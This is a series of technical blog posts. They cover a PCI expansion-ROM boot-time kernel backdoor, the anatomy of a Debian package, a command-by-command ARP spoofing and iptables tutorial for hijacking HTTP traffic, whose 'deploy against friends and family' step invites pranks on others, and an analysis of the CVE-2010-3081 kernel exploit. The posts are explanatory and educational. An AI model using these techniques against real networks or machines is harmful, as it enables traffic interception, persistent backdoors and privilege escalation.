about the boot process.</p> <p> When a machine boots up, the BIOS initializes the hardware, then loads the <a href="">master boot record</a> from the boot device, generally a hard drive. Disks are traditionally divided into conceptual units called sectors of 512 bytes each. The master boot record is the first sector on the drive. After loading the master boot record into memory, the BIOS jumps to the beginning of the record.</p> <p> On my test system, the master boot record was installed by <a href="">GRUB</a>. It contains code to load the rest of the GRUB boot loader, which in turn loads the <code>/boot/vmlinuz-2.6.32-24-generic</code> image from the disk and executes it. GRUB contains a built-in driver which understands the <a href="">ext4</a> filesystem layout. However, it relies on the BIOS to actually read data from the disk, in much the same way that a user-level program relies on an operating system to access the hardware. Roughly speaking, when GRUB wants to read some sectors off the disk, it loads the start sector, number of sectors to read, and target address into registers, and then invokes the <code>int 0x13</code> instruction to raise an interrupt. The CPU has a table of <a href="">interrupt descriptors</a>, which specify for each interrupt number a function pointer to call when that interrupt is raised. During initialization, the BIOS sets up these function pointers so that, for example, the entry corresponding to interrupt <code>0x13</code> points to the BIOS code handling hard drive IO.</p> <p> Our expansion ROM is run after the BIOS sets up these interrupt descriptors, but before the master boot record is read from the disk. So what we'll do in the expansion ROM code is overwrite the entry for interrupt <code>0x13</code>. This is actually a legitimate technique which we would use if we were writing an expansion ROM for some kind of exotic hard drive controller, which a generic BIOS wouldn't know how to read, so that we could boot off of the exotic hard drive. In our case, though, what we're going to make the <code>int 0x13</code> handler do is to call the original interrupt handler, then check whether the data we read matches one of the sectors of <code>/boot/vmlinuz-2.6.32-24-generic</code> that we need to patch. The ext4 filesystem stores files aligned on sector boundaries, so we can easily determine whether we need to patch a sector that's just been read by inspecting the first few bytes of the sector. Then we return from our custom <code>int 0x13</code> handler. The code for this handler will be stored on our expansion ROM, and the entry point of our expansion ROM will set up the interrupt descriptor entry to point to it.</p> <p> In summary, the boot process of the system with our PCI card inserted looks like this: </p> <ul> <li>The BIOS starts up and performs basic initialization, including setting up the interrupt descriptor table. </li> <li>The BIOS runs our expansion ROM code, which hooks the <code>int 0x13</code> handler so that it will apply our patch to the <code>vmlinuz</code> file when it is read off the disk. </li> <li>The BIOS loads the master boot record installed by GRUB, and jumps to it. The master boot record loads the rest of GRUB. </li> <li>GRUB reads the <code>vmlinuz</code> file from the disk, but our custom <code>int 0x13</code> handler applies our patches to the kernel before returning. </li> <li>GRUB jumps to the <code>vmlinuz</code> entry point, which decompresses the kernel image. Our modifications to <code>vmlinuz</code> cause it to overwrite a string constant with our <code>exec_packet</code> function and associated data, and also to overwrite the end of the startup code to install a pointer to this data in <code>inet_protos[163]</code>. </li> <li>The startup code of the decompressed kernel runs and installs our handler in <code>inet_protos[163]</code>. </li> <li>The kernel continues to boot normally. </li> </ul> We can now control the machine remotely over the Internet by sending it packets with protocol number 163. <p> One neat thing about this setup is that it's not so easy to detect that anything unusual has happened. The running Linux system reads from the disk using its own drivers, not BIOS calls via the real-mode interrupt table, so inspecting the on-disk kernel image will correctly show that it is unmodified. For the same reason, if we use our remote control of the machine to install some malicious software which is then detected by the system administrator, the usual procedure of reinstalling the operating system and restoring data from backups will not remove our backdoor, since it is not stored on the disk at all.</p> <p> What does all this mean in practice? Just like you should not run untrusted software, you should not install hardware provided by untrusted sources. Unless you work for something like a government intelligence agency, though, you shouldn't realistically worry about installing commodity hardware from reputable vendors. After all, you're already also trusting the manufacturer of your processor, RAM, etc., as well as your operating system and <a href="">compiler</a> providers. Of course, most real-world vulnerabilities are due to mistakes and not malice. An attacker can gain control of systems by exploiting bugs in popular operating systems much more easily than by distributing malicious hardware.</p> <p> ~<a href="">rwbarton</a></p> Anatomy of a Debian package Ksplice Post Importer 2010-10-06T23:00:00+00:00 2012-08-03T14:42:04+00:00 <link rel="stylesheet" type="text/css" href="" /> Ever wondered what a .deb file actually is? How is it put together, and what's inside it, besides the data that is installed to your system when you install the package? Today we're going to break out our sysadmin's toolbox and find out. (While we could just turn to <a href="">deb(5)</a>, that would ruin the fun.) You'll need a Debian-based system to play along. Ubuntu and other derivatives should work just fine. <p> </p> <h3>Finding a file to look at</h3> Whenever APT downloads a package to install, it saves it in a package cache, located in <code>/var/cache/apt/archives/</code>. We can poke around in this directory to find a package to look at. <pre>spang@sencha:~> cd /var/cache/apt/archives spang@sencha:/var/cache/apt/archives> spang@sencha:/var/cache/apt/archives> ls apache2-utils_2.2.16-2_amd64.deb app-install-data_2010.08.21_all.deb apt_0.8.0_amd64.deb apt_0.8.5_amd64.deb aptitude_0.6.3-3.1_amd64.deb ...</pre> <code>nano</code>, the text editor, ought to be a simple package. Let's take a look at that one. <p> </p> <pre>spang@sencha:/var/cache/apt/archives> cp nano_2.2.5-1_amd64.deb ~/tmp/blog spang@sencha:/var/cache/apt/archives> cd ~/tmp/blogapt debian dpkg package-management</pre> <h3>Digging in</h3> Let's see what we can figure out about this file. The <a href="">file</a> command is a nifty tool that tries to figure out what kind of data a file contains. <p> </p> <pre>spang@sencha:~/tmp/blog> file --raw --keep-going nano_2.2.5-1_amd64.deb nano_2.2.5-1_amd64.deb: Debian binary package (format 2.0) - current ar archive - archive file</pre> Hmm, so <code>file</code>, which identifies filetypes by performing tests on them (rather than by looking at the file extension or something else cosmetic), must have a special test that identifies Debian packages. Since we passed the command the <code>--keep-going</code> option, though, it continued on to find other tests that match against the file, which is useful because these later matches are less specific, and in our case they tell us what a "Debian binary package" actually is under the hood—an <a href="">"ar"</a> archive! <p> </p> <div style="margin-top: 0.5em; margin-bottom: 0.5em; padding: 1em; border: 1px solid black; width: 600px; "> <h3>Aside: a little bit of history</h3> Back in the day, in 1995 and before, Debian packages used to use their own ad-hoc archive format. These days, you can find that old format documented in <a href="">deb-old(5)</a>. The new format was added to be <a href="">"saner and more extensible"</a> than the original. You can still find binaries in the old format on <a href="">archive.debian.org</a>. You'll see that <code>file</code> tells us that these debs are different; it doesn't know how to identify them in a more specific way than "a bunch of bits": <p> </p> <pre>spang@sencha:~/tmp/blog> file --raw --keep-going adduser-1.94-1.deb adduser-1.94-1.deb: data</pre> </div> Now we can crack open the deb using the <code>ar</code> utility to see what's inside. <p> </p> <h3>Inside the box</h3> <code>ar</code> takes an operation code and modifier flags and the archive to act upon as its arguments. The <code>x</code> operation tells it to extract files, and the <code>v</code> modifier tells it to be verbose. <p> </p> <pre>spang@sencha:~/tmp/blog> ar vx nano_2.2.5-1_amd64.deb x - debian-binary x - control.tar.gz x - data.tar.gz</pre> So, we have three files. <h4>debian-binary</h4> <pre>spang@sencha:~/tmp/blog> cat debian-binary 2.0</pre> This is just the version number of the binary package format being used, so tools know what they're dealing with and can modify their behaviour accordingly. One of <code>file's</code> tests uses the string in this file to add the package format to its output, as we saw earlier. <p> </p> <h4>control.tar.gz</h4> <pre>spang@sencha:~/tmp/blog> tar xzvf control.tar.gz ./ ./postinst ./control ./conffiles ./prerm ./postrm ./preinst ./md5sums</pre> These <em>control files</em> are used by the tools that work with the package and install it to the system—mostly <a href="">dpkg</a>. <p> </p> <h5>control</h5> <pre>spang@sencha:~/tmp/blog> cat control; - filename tab-completion and support for multiple buffers; - full internationalization support.</jordi@debian.org></pre> This file contains a lot of important metadata about the package. In this case, we have: <ul> <li>its name</li> <li>its version number</li> <li>binary-specific information: which architecture it was built for, and how many bytes it takes up after it is installed</li> <li>its relationship to other packages (on the <em>Depends</em>, <em>Suggests</em>, <em>Conflicts</em>, <em>Breaks</em>, and <em>Replaces</em> lines)</li> <li>the person who is responsible for this package in Debian (the "maintainer")</li> <li>How the package is categorized in Debian as a whole: <code>nano</code> is in the "editors" section. A complete list of archive sections can be found <a href="">here</a>.</li> <li>A "priority" rating. "Important" means that the package <a href="">"should be found on any Unix-like system"</a>. You'd be hard-pressed to find a Debian system without <code>nano</code>.</li> <li>a homepage</li> <li>a description which should provide enough information for an interested user to figure out whether or not she wants to install the package</li> </ul> One line that takes a bit more explanation is the "Provides:" line. This means that <code>nano</code>, when installed, will not only count as having the <code>nano</code> package installed, but also as the <code>editor</code> package, which doesn't <em>really</em> exist—it is only provided by other packages. This way other packages which need a text editor can depend on "editor" and not have to worry about the fact that there are many different sufficient choices available. <p> You can get most of this same information for installed packages and packages from your configured package repositories using the command <code>aptitude show <packagename></code>, or <code>dpkg --status <packagename></code> if the package is installed.</p> <p> </p> <h5>postinst, prerm, postrm, preinst</h5> These files are <em>maintainer scripts</em>. If you take a look at one, you'll see that it's just a shell script that is run at some point during the [un]installation process. <p> </p> <pre>spang@sencha:~/tmp/blog> cat preinst #!/bin/sh set -e if [ "$1" = "upgrade" ]; then if dpkg --compare-versions "$2" lt 1.2.4-2; then if [ ! -e /usr/man ]; then ln -s /usr/share/man /usr/man update-alternatives --remove editor /usr/bin/nano || RET=$? rm /usr/man if [ -n "$RET" ]; then exit $RET fi else update-alternatives --remove editor /usr/bin/nano fi fi fi</pre> More on the nitty-gritty of maintainer scripts can be found <a href="">here</a>. <p> </p> <h5>conffiles</h5> <pre>spang@sencha:~/tmp/blog> cat conffiles /etc/nanorc</pre> Any configuration files for the package, generally found in <code>/etc</code>, are listed here, so that <code>dpkg</code> knows when to not blindly overwrite any local configuration changes you've made when upgrading the package. <p> </p> <h5>md5sums</h5> This file contains <a href="">checksums</a> of each of the data files in the package so <code>dpkg</code> can make sure they weren't corrupted or tampered with. <p> </p> <h4>data.tar.gz</h4> Here are the actual data files that will be added to your system's <code>/</code> when the package is installed. <pre>spang@sencha:~/tmp/blog> tar xzvf data.tar.gz ./ ./bin/ ./bin/nano ./usr/ ./usr/bin/ ./usr/share/ ./usr/share/doc/ ./usr/share/doc/nano/ ./usr/share/doc/nano/examples/ ./usr/share/doc/nano/examples/nanorc.sample.gz ./usr/share/doc/nano/THANKS ./usr/share/doc/nano/changelog.gz ./usr/share/doc/nano/BUGS.gz ./usr/share/doc/nano/TODO.gz ./usr/share/doc/nano/NEWS.gz ./usr/share/doc/nano/changelog.Debian.gz [...] ./etc/ ./etc/nanorc ./bin/rnano ./usr/bin/nano</pre> <h3>Finishing up</h3> That's it! That's all there is inside a Debian package. Of course, no one building a package for Debian-based systems would do the reverse of what we just did, using raw tools like <code>ar</code>, <code>tar</code>, and <code>gzip</code>. Debian packages use a <a href="">make</a>-based build system, and learning how to build them using all the tools that have been developed for this purpose is a topic for another time. If you're interested, the <a href="">new maintainer's guide</a> is a decent place to start. <p> And next time, if you need to take a look inside a .deb again, use the <strong>dpkg-deb</strong> utility:</p> <p> </p> <pre>spang@sencha:~/tmp/blog> dpkg-deb --extract nano_2.2.5-1_amd64.deb datafiles spang@sencha:~/tmp/blog> dpkg-deb --control nano_2.2.5-1_amd64.deb controlfiles spang@sencha:~/tmp/blog> dpkg-deb --info nano_2.2.5-1_amd64.deb new debian package, version 2.0. size 566450 bytes: control archive= 3569 bytes. 12 bytes, 1 lines conffiles 1010 bytes, 26 lines control 5313 bytes, 80 lines md5sums 582 bytes, 19 lines * postinst #!/bin/sh 160 bytes, 5 lines * postrm #!/bin/sh 379 bytes, 20 lines * preinst #!/bin/sh 153 bytes, 10 lines * prerm #!/bin/sh;apt debian dpkg package-management - filename tab-completion and support for multiple buffers; - full internationalization support. </jordi@debian.org></pre> <p> If the package format ever changes again, <code>dpkg-deb</code> will too, and you won't even need to notice.</p> <p>~<a href="">spang</a> <> Hijacking HTTP traffic on your home subnet using ARP and iptables Ksplice Post Importer 2010-09-29T23:00:00+00:00 2012-08-03T14:11:11+00:00 <link rel="stylesheet" type="text/css" href="" /> <p>Let's talk about how to hijack HTTP traffic on your home subnet using <a href="">ARP</a> and <a href="">iptables</a>. It's an easy and fun way to harass your friends, family, or flatmates while exploring the networking protocols.</p> <p>Please don't experiment with this outside of a subnet under your control -- it's against the law and it might be hard to get things back to their normal state.</p> <h3>The setup</h3> <p>Significant other comes home from work. SO pulls out laptop and tries to catch up on social media like every night. SO instead sees awesome personalized web page proposing marriage:</p> <a href=""><img src="" alt="will you marry me, with unicorns" title="will you marry me, with unicorns" width="600" /></a> <p>How do we accomplish this?</p> <p>The key player is <a href="">ARP</a>, the "Address Resolution Protocol" responsible for associating <a href="">Internet Layer</a> addresses with <a href="">Link Layer</a> addresses. This usually means determining the <a href="">MAC address</a> corresponding to a given <a href="">IP address</a>.</p> <p>ARP comes into play when you, for example, head over to a friend's house, pull out your laptop, and try to use the wireless to surf the web. One of the first things that probably needs to happen is determining the MAC address of the gateway (probably your friend's router), so that the <a href="">Ethernet</a> packets containing all those <a href="">IP</a>[<a href="">TCP</a>[<a href="">HTTP</a>]] requests you want to send out to the Internet know how to get to their first hop, the gateway.</p> <p>Your laptop finds out the MAC address of the gateway by asking. It broadcasts an ARP request for "Who has IP address <code>192.168.1.1</code>", and the gateway broadcasts an ARP response saying "I have <code>192.168.1.1</code>, and my MAC address is <code>xx:xx:xx:xx:xx:xx</code>". Your laptop, armed with the MAC address of the gateway, can then craft Ethernet packets that will go to the gateway and get routed out to the Internet.</p> <p>But the gateway didn't really have to prove who it was. It just asserted who it was, and everyone listened. Anyone else can send an ARP response claiming to have IP address <code>192.168.1.1</code>. And that's the ticket: if you can pretend to be the gateway, you can control all the packets that get routed through the gateway and the content returned to clients.</p> <h3>Step 1: The layout</h3> <p>I did this at home. The three machines involved were:</p> <ul id="noindent"> <li><strong>real gateway router</strong>: IP address <code>192.168.1.1</code>, MAC address <code>68:7f:74:9a:f4:ca</code></li> <li><strong>fake gateway</strong>: a desktop called <code>kid-charlemagne</code>, IP address <code>192.168.1.200</code>, MAC address <code>00:30:1b:47:f2:74</code></li> <li><strong>test machine getting duped</strong>: a laptop on wireless called <code>pixeleen</code>, IP address <code>192.168.1.111</code>, MAC address <code>00:23:6c:8f:3f:95</code> </li> </ul> <p>The gateway router, like most modern routers, is bridging between the wireless and wired domains, so ARP packets get broadcast to both domains.</p> <h3>Step 2: Enable IPv4 forwarding</h3> <p><code>kid-charlemagne</code> wants to be receiving packets that aren't destined for it (eg the web traffic). Unless IP forwarding is enabled, the networking subsystem is going to ignore packets that aren't destined for us. So step 1 is to enable IP forwarding. All that takes is a non-zero value in <code>/proc/sys/net/ipv4/ip_forward</code>: </p> <pre>root@kid-charlemagne:~# echo 1 > /proc/sys/net/ipv4/ip_forward </pre> <h3>Step 3: Set routing rules so packets going through the gateway get routed to you</h3> <p><code>kid-charlemagne</code> is going to act like a little <a href="">NAT</a>. For HTTP packets heading out to the Internet, <code>kid-charlemagne</code> is going to rewrite the destination address in the IP packet headers to be its own IP address, so it becomes final destination for the web traffic:</p> <a href=""><img src="" alt="PREROUTING rule to rewrite the source IP address" title="PREROUTING rule to rewrite the source IP address" width="589" height="197" class="size-full wp-image-2509" /></a> <p>For HTTP packets heading back from <code>kid-charlemagne</code> to the client, it'll rewrite the source address to be that of the original destination out on the Internet.</p> <p>We can set up this routing rule with the following <a href="">iptables</a> command:</p> <pre>jesstess@kid-charlemagne:~$ sudo iptables -t nat -A PREROUTING \ > -p tcp --dport 80 -j NETMAP --to 192.168.1.200 </pre> <p>The <code>iptables</code> command has 3 components:</p> <ul id="noindent2"> <li>When to apply a rule (<code>-A PREROUTING</code>)</li> <li>What packets get that rule (<code>-p tcp --dport 80</code>)</li> <li>The actual rule (<code>-t nat</code> ... <code>-j NETMAP --to 192.168.1.200</code>)</li> </ul> <strong>When</strong><br /> <p><code>-t</code> says we're specifying a table. The <code>nat</code> table is where a lookup happens on packets that create new connections. The <code>nat</code> table comes with 3 built-in chains: <code>PREROUTING</code>, <code>OUTPUT</code>, and <code>POSTROUTING</code>. We want to add a rule in the <code>PREROUTING</code> chain, which will alter packets right as they come in, before routing rules have been applied.</p> <strong>What packets</strong><br /> <p>That <code>PREROUTING</code> rule is going to apply to TCP packets destined for port 80 (<code>-p tcp --dport 80</code>), aka HTTP traffic. For packets that match this filter, jump (<code>-j</code>) to the following action:</p> <strong>The rule</strong><br /> <p>If we receive a packet heading for some destination, rewrite the destination in the IP header to be <code>192.168.1.200</code> (<code>NETMAP --to 192.168.1.200</code>). Have the <code>nat</code> table keep a mapping between the original destination and rewritten destination. When a packet is returning through us to its source, rewrite the source in the IP header to be the original destination.</p> <p>In summary: <strong>"If you're a TCP packet destined for port 80 (HTTP traffic), actually make my address, <code>192.168.1.200</code>, the destination, NATting both ways so this is transparent to the source."</strong></p> <p>One last thing:</p> <p>The networking subsystem will not allow you to ARP for a random IP address on an interface -- it has to be an IP address actually assigned to that interface, or you'll get a <code>bind</code> error along the lines of <code>"Cannot assign requested address"</code>. We can handle this by adding an <a href="">ip</a> entry on the interface that is going to send packets to <code>pixeleen</code>, the test client. <code>kid-charlemagne</code> is wired, so it'll be <code>eth0</code>. </p> <pre>jesstess@kid-charlemagne:~$ sudo ip addr add 192.168.1.1/24 dev eth0 </pre> <p>We can check our work by listing all our interfaces' addresses and noting that we now have two IP addresses for <code>eth0</code>, the original IP address <code>192.168.1.200</code>, and the gateway address <code>192.168.1.1</code>.</p> <pre>jesstess@kid-charlemagne:~$ ip addr ... 3: eth0: <broadcast,multicast,up,lower_up> mtu 1500 qdisc noqueue state UNKNOWN link/ether 00:30:1b:47:f2:74 brd ff:ff:ff:ff:ff:ff <font color="blue">inet 192.168.1.200/24 brd 192.168.1.255 scope global eth0</font> <font color="blue">inet 192.168.1.1/24 scope global secondary eth0</font> inet6 fe80::230:1bff:fe47:f274/64 scope link valid_lft forever preferred_lft forever ... </broadcast,multicast,up,lower_up></pre> <h3>Step 4: Set yourself up to respond to HTTP requests</h3> <code>kid-charlemagne</code> happens to have Apache set up. You could run any minimalist web server that would, given a request for an arbitrary resource, do something interesting. <p> </p> <h3>Step 5: Test pretending to be the gateway</h3> <p>At this point, <code>kid-charlemagne</code> is ready to pretend to be the gateway. The trouble is convincing <code>pixeleen</code> that the MAC address for the gateway has changed, to that of <code>kid-charlemagne</code>. We can do this by sending a <a href="">Gratuitous ARP</a>, which is basically a packet that says "I know nobody asked, but I have the MAC address for <code>192.168.1.1</code>”. Machines that hear that Gratuitous ARP will replace an existing mapping from <code>192.168.1.1</code> to a MAC address in their ARP caches with the mapping advertised in that Gratuitous ARP.</p> <p>We can look at the ARP cache on <code>pixeleen</code> before and after sending the Gratuitous ARP to verify that the Gratuitious ARP is working.</p> <p><code>pixeleen</code>’s ARP cache before the Gratuitous ARP:</p> <pre>jesstess@pixleen$ arp -a ? (192.168.1.1) at 68:7f:74:9a:f4:ca on en1 ifscope [ethernet] ? (192.168.1.200) at 0:30:1b:47:f2:74 on en1 ifscope [ethernet] </pre> <p> </p> <p><code>68:7f:74:9a:f4:ca</code> is the MAC address of the real gateway router.</p> <p>There are lots of command line utilities and bindings in various programming language that make it easy to issue ARP packets. I used the <a href="">arping</a> tool: </p> <pre>jesstess@kid-charlemagne:~$ sudo arping -c 3 -A -I eth0 192.168.1.1 </pre> <p>We'll send a Gratuitous ARP reply (<code>-A</code>), three times (<code>-c -3</code>), on the <code>eth0</code> interface (<code>-l eth0</code>) for IP address <code>192.168.1.1</code>.</p> <p>As soon as we generate the Gratuitous ARPs, if we check <code>pixeleen</code>’s ARP cache:</p> <pre>jesstess@pixeleen$ arp -a ? (192.168.1.1) at 0:30:1b:47:f2:74 on en1 ifscope [ethernet] ? (192.168.1.200) at 0:30:1b:47:f2:74 on en1 ifscope [ethernet] </pre> <p> </p> <p>Bam. <code>pixeleen</code> now thinks the MAC address for IP address <code>192.169.1.1</code> is <code>0:30:1b:47:f2:74</code>, which is <code>kid-charlemagne</code>’s address.</p> <p>If I try to browse the web on <code>pixeleen</code>, I am served the resource matching the rules in <code>kid-charlemagne</code>’s web server.</p> <p>We can watch this whole exchange in Wireshark:</p> <p>First, the Gratuitous ARPs generated by <code>kid-charlemagne</code>:</p> <a href=""><img src="" alt="Gratuitous ARPs generated by kid-c" title="Gratuitous ARPs generated by kid-c" width="544" /></a> <p>The only traffic getting its headers rewritten so that <code>kid-charlemagne</code> is the destination is HTTP traffic: TCP traffic on port 80. That means all of the non-HTTP traffic associated with viewing a web page still happens as normal. In particular, when <code>kid-charlemagne</code> gets the DNS resolution requests for <code>lycos.com</code>, the test site I visited, it will follow its routing rules and forward them to the real router, which will send them out to the Internet:</p> <img src="" alt="DNS response to pixeleen for lycos.com" title="DNS response to pixeleen for lycos.com" width="544" /> <p>The HTTP traffic gets served by <code>kid-charlemagne</code>:</p><a href=""><img src="" alt="HTTP traffic viewed in Wireshark" title="HTTP traffic between pixeleen and kid-c" width="544" /></a> <p>Note that the HTTP request has a source IP of <code>192.168.1.111</code>, <code>pixeleen</code>, and a destination IP of <code>209.202.254.14</code>, which <code>dig -x 209.202.254.14 +short</code> tells us is <code>search-core1.bo3.lycos.com</code>. The HTTP response has a source IP of <code>209.202.254.14</code> and a destination IP of <code>192.168.1.111</code>. The fact that <code>kid-charlemagne</code> has rerouted and served the request is totally transparent to the client at the IP layer.</p> <h3>Step 6: Deploy against friends and family</h3> <p>I trust you to get creative with this.</p> <h3>Step 7: Reset everything to the normal state</h3> <p>To get the normal gateway back in control, delete the IP address from the interface on <code>kid-charlemagne</code> and delete the <code>iptables</code> routing rule:</p> <pre>jesstess@kid-charlemagne:~$ sudo ip addr delete 192.168.1.1/24 dev eth0 jesstess@kid-charlemagne:~$ sudo iptables -t nat -D PREROUTING -p tcp --dport 80 -j NETMAP --to 192.168.1.200 </pre> <p>To get the client machines to believe the router is the real gateway, you might have to clear the gateway entry from the ARP cache with <code>arp -d 192.168.1.1</code>, or bring your interfaces down and back up. I can verify that my TiVo corrected itself quickly without any intervention, but I won't make any promises about your networked devices.</p> <h3>In summary</h3> <p>That was a lot of explanatory text, but the steps required to hijack the HTTP traffic on your home subnet can be boiled down to:</p> <ol id="noindent3"> <li><strong>enabled IP forwarding</strong>: <code>echo 1 > /proc/sys/net/ipv4/ip_forward</code></li> <li><strong>set your routing rule</strong>: <code>iptables -t nat -A PREROUTING -p tcp --dport 80 -j NETMAP --to 192.168.1.200</code></li> <li><strong>add the gateway IP address to the appropriate interface</strong>: <code>ip addr add 192.168.1.1/24 dev eth0</code></li> <li><strong>ARP for the gateway MAC address</strong>: <code>arping -c 3 -A -I eth0 192.168.1.1</code> </li> </ol> <p>substituting the appropriate IP address and interface information and tearing down when you're done.</p> <p>And that's all there is to it!</p> <p>This has been tested as working in a few environments, but it might not work in yours. I'd love to hear the details on if this works, works with modifications, or doesn't work (because the devices are being too clever about Gratuitous ARPs, or otherwise) in the comments.</p> <p>--> Huge thank-you to fellow experimenter <a href="">adamf</a>. <---</p> <p>~<a href="">jesstess</a></p> Anatomy of an exploit: CVE-2010-3081 Ksplice Post Importer 2010-09-22T23:00:00+00:00 2012-08-03T14:34:39+00:00 It has been an exciting week for most people running 64-bit Linux systems. Shortly after "Ac1dB1tch3z" released his or her <a href="">exploit</a> of the vulnerability known as <a href="">CVE-2010-3081</a>, we saw this exploit aggressively <a href="">compromising</a> <a href="">machines</a>, with reports of compromises all over the hosting industry and many machines using our <a href="">diagnostic tool</a> and testing positive for the backdoors left by the exploit. <p> The talk around the exploit has mostly been panic and mitigation, though, so now that people have had time to patch their machines and triage their compromised systems, what I'd like to do for you today is talk about how this bug worked, how the exploit worked, and what we can learn about Linux security.</p> <p> </p> <h3>The Ingredients of an Exploit</h3> There are three basic ingredients that typically go into a kernel exploit: the <strong>bug</strong>, the <strong>target</strong>, and the <strong>payload</strong>. The exploit triggers the <em>bug</em> -- a flaw in the kernel -- to write evil data corrupting the <em>target</em>, which is some kernel data structure. Then it prods the kernel to look at that evil data and follow it to run the <em>payload</em>, a snippet of code that gives the exploit the run of the system. <p> The bug is the one ingredient that is unique to a particular vulnerability. The target and the payload may be reused by an attacker in exploits for other vulnerabilities -- if 'Ac1dB1tch3z' didn't copy them already from an earlier exploit, by himself or by someone else, he or she will probably reuse them in future exploits.</p> <p> Let's look at each of these in more detail.</p> <p> </p> <h3>The Bug: CVE-2010-3081</h3> An exploit starts with a bug, or vulnerability, some kernel flaw that allows a malicious user to make a mess -- to write onto its target in the kernel. This bug is called CVE-2010-3081, and it allows a user to write a handful of words into memory almost anywhere in the kernel. <p> The bug was present in Linux's 'compat' subsystem, which is used on 64-bit systems to maintain compatibility with 32-bit binaries by providing all the <a href="">system calls</a> in 32-bit form. Now Linux has over 300 different system calls, so this was a big job. The Linux developers made certain choices in order to keep the task manageable:</p> <p> </p> <ul> <li>We don't want to rewrite the code that actually does the work of each system call, so instead we have a little wrapper function for compat mode.</li> <li>The wrapper function needs to take arguments from userspace in 32-bit form, then put them in 64-bit form to pass to the code that does the system call's work. Often some arguments are structs which are laid out differently in the 32-bit and 64-bit worlds, so we have to make a new 64-bit struct based on the user's 32-bit struct.</li> <li>The code that does the work expects to find the struct in the user's address space, so we have to put ours there. Where in userspace can we find space without stepping on toes? The compat subsystem provides a function to find it on the user's stack.</li> </ul> Now, here's the core problem. That allocation routine went <a href="*/arch/x86/include/asm/compat.h#L208">like this</a>: <pre> static inline void __user *compat_alloc_user_space(long len) { struct pt_regs *regs = task_pt_regs(current); return (void __user *)regs->sp - len; } </pre> The way you use it looks a lot like the old familiar <code><a href="">malloc()</a></code>, or the kernel's <code><a href="">kmalloc()</a></code>, or any number of other memory-allocation routines: you pass in the number of bytes you need, and it returns a pointer where you are supposed to read and write that many bytes to your heart's content. But it comes -- came -- with a special catch, and it's a big one: before you used that memory, you had to <em>check</em> that it was actually OK for the user to use that memory, with the kernel's <code><a href="*/arch/x86/include/asm/uaccess.h#L61">access_ok()</a></code> function. If you've ever helped maintain a large piece of software, you know it's inevitable that someone will eventually be fooled by the analogy, miss the incongruence, and forget that check. <p> Fortunately the kernel developers are smart and careful people, and they defied that inevitability almost everywhere. Unfortunately, they missed it in at least two places. One of those is this bug. If we call <code><a href="">getsockopt()</a></code> in 32-bit fashion on the socket that represents a network connection over IP, and pass an <code>optname</code> of <code>MCAST_MSFILTER</code>, then in a 64-bit kernel we end up in <code><a href="*/net/compat.c#L646">compat_mc_getsockopt()</a></code>: </p> <pre> int compat_mc_getsockopt(struct sock *sock, int level, int optname, char __user *optval, int __user *optlen, int (*getsockopt)(struct sock *,int,int,char __user *,int __user *)) { </pre> This function calls <code>compat_alloc_user_space()</code>, and it fails to check the result is OK for the user to access -- and by happenstance the struct it's making room for has a variable length, supplied by the user. <p> So the attacker's strategy goes like so: </p> <ul> <li>Make an IP socket in a 32-bit process, and call <code>getsockopt()</code> on it with optname <code>MCAST_MSFILTER</code>. Pass in a giant length value, almost the full possible 2GB. Because <code>compat_alloc_user_space()</code> finds space by just subtracting the length from the user's stack pointer, with a giant length the address wraps around, down past zero, to where the kernel lives at the top of the address space.</li> <li>When the bug fires, the kernel will copy the original struct, which the attacker provides, into the space it has just 'allocated', starting at that address up in kernel-land. So fill that struct with, say, an address for evil code.</li> <li>Tune the length value so that the address where the 'new struct' lives is a particularly interesting object in the kernel, a <em>target</em>.</li> </ul> <a href=";a=commitdiff;h=c41d68a513c71e35a14f66d71782d27a79a81ea6">The fix for CVE-2010-3081</a> was to make <code>compat_alloc_user_space()</code> call <code>access_ok()</code> to check for itself. <p> More technical details are ably explained in <a href="">the original report</a> by security researcher Ben Hawkes, who brought the vulnerability to light.</p> <p> </p> <h3>The Target: Function Pointers Everywhere</h3> The target is some place in the kernel where if we make the right mess, we can leverage that into the kernel running the attacker's code, the payload. Now the kernel is full of function pointers, because secretly it's object oriented. So for example the attacker may poke some userspace object like a special file to cause the kernel to invoke a certain method on it -- and before doing so will target that method's function pointer in the object's <a href="">virtual method table</a> (called an "ops struct" in kernel lingo) which says where to find all the methods, scribbling over it with the address of the payload. <p> A key constraint for the attacker is to pick something that will never be used in normal operation, so that nothing goes awry to catch the user's attention. This exploit uses one of three targets: the <a href="">interrupt descriptor table</a>, <code><a href="">timer_list_fops</a></code>, and the <a href="">LSM</a> subsystem.</p> <p> </p> <ul> <li>The <strong>interrupt descriptor table</strong> (IDT) is morally a big table of function pointers. When an <a href="">interrupt</a> happens, the hardware looks it up in the IDT, which the kernel has set up in advance, and calls the handler function it finds there. It's more complicated than that because each entry in the table also needs some metadata to say who's allowed to invoke the interrupt, whether the handler should be called with user or kernel privileges, etc. This exploit picks interrupt number 221, higher than anybody normally uses, and carefully sets up that entry in the IDT so that its own evil code is the handler and runs in kernel mode. Then with the single instruction <code><a href="">int</a> $221</code>, it makes that interrupt happen.</li> <li><code><strong><a href="">timer_list_fops</a></strong></code> is the "ops struct" or virtual method table for a special file called <code>/proc/timer_list</code>. Like many other special files that make up the <a href="">proc filesystem</a>, <code>/proc/timer_list</code> exists to provide kernel information to userspace. This exploit scribbles on the pointer for the <code><a href="">poll</a></code> method, which is normally not even provided for this file (so it inherits a generic behavior), and which nobody ever uses. Then it just opens that file and calls <code>poll()</code>. I believe this could just as well have been almost any file in <code>/proc/</code>.</li> <li>The <strong>LSM approach</strong> attacks several different ops structs of type <code><a href="">security_operations</a></code>, the tables of methods for different 'Linux security modules'. These are gigantic structs with hundreds of function pointers; the one the exploit targets in each struct is <code>msg_queue_msgctl</code>, the 100th one. Then it issues a <code><a href="">msgctl</a></code> system call, which causes the kernel to check whether it's authorized by calling the <code>msg_queue_msgctl</code> method... which is now the exploit's code.</li> </ul> Why three different targets? One is enough, right? The answer is <em>flexibility</em>. Some kernels don't have <code>timer_list_fops</code>. Some kernels have it, but don't make available a symbol to find its address, and the address will vary from kernel to kernel, so it's tricky to find. Other kernels pose the same obstacle with the <code>security_operations</code> structs, or use a different <code>security_operations</code> than the ones the exploit corrupts. Different kernels offer different targets, so a widely applicable exploit has to have several targets in its repertoire. This one picks and chooses which one to use depending on what it can find. <p> </p> <h3>The Payload: Steal Privileges</h3> Finally, once the bug is used to corrupt the target and the target is triggered, the kernel runs the attacker's payload, or shellcode. A simple exploit will run the bare minimum of code inside the kernel, because it's much easier to write code that can run in userspace than in kernelspace -- so it just sets the process up to have the run of the system, and then returns. <p> 